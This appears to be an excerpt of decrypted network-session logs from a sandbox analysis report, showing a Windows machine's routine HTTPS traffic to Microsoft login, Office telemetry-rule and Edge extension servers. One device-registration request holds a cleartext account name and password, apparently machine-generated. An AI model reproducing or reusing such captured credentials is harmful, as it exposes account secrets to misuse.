2024-11-13 13:41:30 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-13 13:41:30 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-13 13:41:31 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 13 Nov 2024 13:40:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: a4e6641d-1e16-4332-bee5-2fdb69b9695e PPServer: PPV: 30 H: BL02EPF0001D9FB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 13 Nov 2024 13:41:30 GMT Connection: close Content-Length: 1276
2024-11-13 13:41:31 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49863	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: a8f55147-f01e-003f-7fa0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134131Z-1749fc9bdbdnks4vhC1DFW79r80000000130000000004n1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:31 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49865	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b0821c67-a01e-0050-16a0-34db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134131Z-r178fb8d765jv86hhC1DFW8pt00000000140000000008hee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49864	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:31 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 26c42504-001e-0017-7560-350c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134131Z-r178fb8d765r2t2rhC1DFWa9x00000000140000000002y6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:31 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49862	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:31 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:31 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134131Z-16547b76f7fj897nhC1DFWdwq40000000gzg00000000fssz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:31 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49859	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-13 13:41:31 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6e 75 75 6d 79 65 75 6e 78 69 74 6c 64 79 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 7a 3f 3f 58 35 6d 29 6b 4f 6b 41 71 3a 67 25 56 51 2b 46 53 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02nuumyeunxitldy</Membername><Password>z??X5m)kOkAq:g%VQ+FS</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-13 13:41:36 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 13 Nov 2024 13:40:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_BAY x-ms-request-id: dc76331a-a94a-416f-b6dc-f218bf32c3bf PPServer: PPV: 30 H: PH1PEPF0001B80D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 13 Nov 2024 13:41:35 GMT Connection: close Content-Length: 17166
2024-11-13 13:41:36 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 32 38 30 45 34 41 41 43 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 62 66 37 38 34 39 64 39 2d 65 36 61 64 2d 34 34 36 63 2d 61 39 61 36 2d 63 32 33 65 66 62 38 30 36 63 62 37 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00188010280E4AAC</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="bf7849d9-e6ad-446c-a9a6-c23efb806cb7" LicenseID="3252b20c-d425-4711
2024-11-13 13:41:36 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49866	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:31 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:31 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: ce92c93d-101e-008e-6ea0-34cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134131Z-1749fc9bdbd4dqj6hC1DFWr4n4000000010000000000euqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:31 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49867	23.192.223.230	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732110086&P2=404&P3=2&P4=DslvKNmI7qyCBIgqlcReqBHjfpNYNLPRryNsMCJEYBVolS45JNeAjDHo%2bUyicj2DjXLs6h3UOYzfbdhP2hHW2w%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: WXbu+VDgDQ1k4Vu6RTHPz5 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:31 UTC	1219	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: f6f8477c-5edc-49a4-b21e-7965443c7a7e MS-RequestId: df08b51f-9907-4feb-a5d8-2679ca5bb9c8 MS-CV: RfLr7ZZfpSXCyARt4VNCgU.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86396 Date: Wed, 13 Nov 2024 13:41:31 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.202.88.103,b=1676179458,c=g,n=US_TX_DALLAS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.6758ca17.1731505291.63e87802 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-13 13:41:31 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49870	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:31 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:32 UTC	556	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:32 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 65809377-801e-001b-2ad1-354695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134131Z-r178fb8d765r2t2rhC1DFWa9x000000000z000000000d199 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
